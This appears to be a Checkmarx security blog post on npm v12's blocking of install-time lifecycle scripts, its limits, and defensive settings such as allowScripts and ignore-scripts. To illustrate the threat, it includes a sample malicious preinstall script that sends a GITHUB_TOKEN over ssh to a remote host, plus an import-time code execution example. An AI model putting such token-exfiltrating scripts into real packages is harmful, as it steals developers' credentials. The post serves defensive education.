Upcoming Webinar Sept. 10: Closing the Risk Gap: Power and Proof with Checkmarx Fusion Register Today
Press Release Checkmarx Fusion: Hybrid Scanning Delivers the Most Complete Vulnerability Detection Available Read Now
Gartner® Checkmarx Named a Leader in the 2026 Gartner® Magic Quadrant™ for Software Supply Chain Security Get the Report
Outlook Report The Future of Application Security in the Era of AI Download Now
Latest Innovations
Checkmarx for Developers
Partners
Blog
Research

npm v12 Lifecycle Script Limits: A Real Malicious Package Risk Reduction, or Just Moving Risk Around?

The new npm client v12 introduced new defaults that refuse to run preinstall and other lifecycle scripts when installing. But did this make a meaningful improvement to risk, or just move risk around? And more importantly, what do you and your organization need to do about it?

A subway turnstile and payment terminal on the left, with a dark green graphic on the right displaying the text 'npm v12 Lifecycle Script Limits Real Fix? Or Just Moving Risk Around?' and the 'Checkmarx ZERO' logo.

npm v12 introduces a big security-related change to npm install to prevent automatic execution of lifecycle scripts, which is one of the biggest ways malware gets distributed in the ecosystem. This is a must needed feature, but will it really prevent malware? Or will we just see a shift in how it is distributed?

npm v12, the Pros and Cons

One of the biggest changes of npm cli v12 is how it handles lifecycle scripts — parts of the package that handle installation tasks — by default. In this new version, scripts no longer automatically execute when installing a package. Instead, the user gets warned when a package contains such scripts and must approve or deny the execution. This decision was made by the npm maintainers because of how frequently these lifecycle scripts have been used to deliver malware after npm packages are compromised.

While this change to default behavior is largely welcome, it’s important to examine whether this change truly reduces npm’s malware attack surface or simply pushes attackers to adapt their techniques. We may just see attackers leave the “install-time” execution and turn their focus toward runtime-based attacks, where malware executes when the malicious package is imported into the application code.

Another factor worth considering is “approval fatigue”. Will developers carefully review all the warnings? Or will they get to a point where they get annoyed by this feature and just approve everything? Historically, relying on frequent prompting for safety and security hasn’t been as effective as hoped. Users inundated with prompts tend to just start hitting “approve” on everything. We’ll walk through practical guidance for developers and orgs on getting the most out of these new features, while avoiding configurations that leave you exposed.

What are Lifecycle Scripts?

npm lifecycle scripts are special scripts that npm runs automatically at particular points when executing some commands, such as npm install, npm publish, npm test, or npm run. They are defined in the “scripts” section of the “package.json” file.

Common lifecycle scripts include:

Script

Behavior

preinstall

Runs before the user executes“npm install”

postinstall

Runs after the user executes “npm install”

prepare

Before a package is packed / published

prepublishOnly

Before packaging, during “npm publish”

prepack

Before creating the package tarball

postpack

After the tarball is generated

publish

During execution of “npm publish”

postpublish

After execution of “npm publish”

The most common scripts used as attack vectors are the preinstall and postinstall, since these allow commands to be run immediately before or after a package is installed.

Legitimately, these are often used for compiling necessary code, seeding data, or setting up essential configurations. For threat actors however, this is frequently exploited to automatically execute malicious code without user consent during the installation of a malicious package.

// Example of a malicious package.json file

{
  "name": "example-package",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "echo '${GITHUB_TOKEN}' | ssh [email protected] 'cat >> ~/stolen_tokens.txt'"
  }
}

Check the “Shai-Hulud” malware campaign, if you’re looking for a real-world example of how impactful such scripts can be.

Shift from Install-Time to Runtime Execution

What happens with this new npm version is that users get warned when an install script is trying to be executed. This new behavior is meant to help developers be more aware of the dependencies they are installing and prevent potential infection by a malicious dependency. This is a good implementation decision because threat actors have been exploiting lifecycle scripts since they are available.

% npm install malicious-package

added 1 package, and audited 3 packages in 307ms 
found 0 vulnerabilities 

npm warn install-scripts 1 package had install scripts blocked because they are not covered by allowScripts: 
npm warn install-scripts   [email protected] (preinstall: echo 'pwnd' > pwnd)

npm warn install-scripts Run `npm install-scripts ls` to review, or `npm install-scripts approve <pkg>` to allow.

But does it really prevent malicious code from executing?

The problem is that, as soon as you import a dependency any code at the top level runs anyway. This is, when you require() or import a package, any top-level code (code that runs outside a function) in that module executes immediately.

This is a strong counterargument to this new npm changes because blocking lifecycle scripts won’t help if malicious code just moves into the module’s top level instead. In fact, what we may start experiencing is a shift from install-time techniques to new runtime execution malware techniques.

// Example of malicious index.js file

// TOP-LEVEL code that will run immediately when the package is imported
const cp = require(“child_process”);
const fs = require("fs");
if (!fs.existsSync("pwnd")) { 
	cp.execSync("echo 'pwnd' > pwnd"); 
}
// NOT top-level code
function myLegitFunction() {
	console.log("I only run when this function is called");
}

This new behavior is a much-needed improvement, but it will only prevent a specific tactic adversaries use today. Malware will keep evolving. You can’t replace package trust with package-level guardrails.

The Risk of Approval Fatigue

As seen above, as soon as you install a package containing lifecycle scripts, npm will warn you about it and won’t execute those scripts. Afterwards, you need to review such packages in your project and approve or deny the execution of the scripts. For that you can make use of npm approve-scripts --allow-scripts-pending, to check each package, and then npm install-scripts approve/deny accordingly.

% npm approve-scripts --allow-scripts-pending

1 package has install scripts blocked because they are not covered by allowScripts:
	[email protected] (preinstall: echo 'pwnd'!)

	Run `npm install-scripts approve <pkg>` to allow, or `npm install-scripts deny <pkg>` to deny.

% npx npm install-scripts deny my-malicious-package      
Denied file:../my-malicious-package:
	added file:../my-malicious-package

A concern worth raising is how developers may eventually approve everything without review just to unblock pipelines or because they are annoyed of having to always review installed packages.

Even though malicious packages have been relying on lifecycle scripts, a lot of legitimate packages also rely on them. If an organization depends on multiple popular packages that make use of install scripts, then we risk getting to a point where developers start adopting configurations or install commands that are not secure by default.

One of those commands is npm approve-scripts --all. This is a very dangerous command because it automatically allows all packages and doesn’t even show which install scripts ran.

% npm approve-scripts --all

Approved file:../my-malicious-package:
	added file:../my-malicious-package

On the other hand, a very good command to block known malicious-packages, and most importantly, persist even when the “approve all” command shown above is run, is the deny-scripts.

% npm deny-scripts my-malicious-package

Note: The problem with all the above commands is that the packages need to already be installed, so users may already be infected, or at risk of infection.

A nice trick is to leverage the “allowScripts” field in package.json to create a block list of known malicious packages. You can add whatever packages you want there, which is essentially what happens when you approve or deny the execution of a package.

// Example of package.json file with a package blocked by “allowScripts”

{
  "name": "npm12",
  "version": "1.0.0",
  "main": "index.js",
  "dependencies": {
    "my-malicious-package": "file:./my-malicious-package"
  },
  "allowScripts": {
    "file:../my-malicious-package": false
  }
}

There is, however, a way to bypass the blocklist by using the --dangerously-allow-all-scripts flag. This should be avoided at all costs since it will execute every lifecycle script found in your dependencies, even if you are explicitly blocking it with allowScripts.

% npm install --dangerously-allow-all-scripts

Lastly, it’s good to know that you can use the --ignore-scripts flag if you want to never execute any lifecycle script during installation of dependencies in your project.

% npm install --ignore-scripts

This last flag can also be set permanently in the .npmrc file at the project level, which is worth doing to ensure everyone in your team reviews install scripts. Additionally, if you want a stronger org-level default policy, this can be done at a global level by setting ignore-scripts in npm’s global config.

% npm config set ignore-scripts true

The Trusted Dependency Problem

A package trusted today could become malicious tomorrow, so approval alone does not solve the dependency trust problem. What happens when an already-approved package is compromised?

In big, sophisticated campaigns, it’s common for popular packages to be targeted. These are preferred by threat actors because millions of users and orgs almost automatically get compromised. Imagine a popular package being infected, and it already makes use of install scripts, so it’s approved in your pipeline… the malware will get executed because your org trusts the package to be legit.

Conclusion

Npm v12’s new script execution guardrails are a meaningful step forward in providing organizations with a better security baseline, but they are not a complete solution. The real benefit comes from using them as part of a broader dependency security strategy.

Organization should:

  • Create an explicit allowlist for packages that genuinely need lifecycle scripts to run, and avoid blanket approvals with flags like `–dangerously-allow-all-scripts`.
  • Audit new versions of already-approved packages, not just packages that are new to the pipeline. An approved package can still become compromised or introduce unexpected behavior in a later release.
  • Enforce the policy in your CI. Don’t just manually approve install scripts. Use npm’s project-level `allowScripts` policy and consider strict script controls with `strict-allow-scripts` to ensure unreviewed scripts fail the build rather than becoming another warning developers learn to ignore.
  • Never stop being skeptical. A package that doesn’t contain install scripts isn’t automatically safe. Malicious code can be executed through other parts of a package at runtime, and attackers will continue adapting their techniques as defenses improve.

See also

Feature image includes NYC Subway turnstile equipt with OMNY by “GK tramrunner RU”, licensed under Creative Commons Attribution-Share Alike 4.0 International license. The feature image is therefore licensed under the same terms, please attribute Checkmarx Zero

Tags:

Malicious Packages

Malware

NPM